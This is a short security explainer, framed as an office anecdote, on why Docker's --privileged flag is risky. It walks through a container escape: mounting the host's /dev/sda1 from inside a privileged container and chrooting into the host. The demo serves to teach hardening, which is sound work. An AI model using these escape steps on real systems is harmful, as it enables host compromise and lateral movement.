A grumpy ItSec guy walks through the office when he overhears an exchange of words.

Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!

ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.

Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?

Here's why (one, simple example): 

Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference. 

1) Start two containers.

docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu

2) Inspect /dev in the unprivileged container.

docker exec -it ubuntu-unprivileged bash
ls /dev
exit

You'll only see a limited set of devices. No disk access. 

3) Now inspect /dev in the privileged container.

docker exec -it ubuntu-privileged bash
ls /dev

/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.

4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.

mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever

5) You can now enumerate - and access - the Docker host's logical volume.

ls -la /tmp/whatever

6) If you wish, you can even chroot into the host:

chroot /tmp/whatever /bin/bash

The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.

Usually the grumpy guy means well. He just doesn't know how to explain it properly.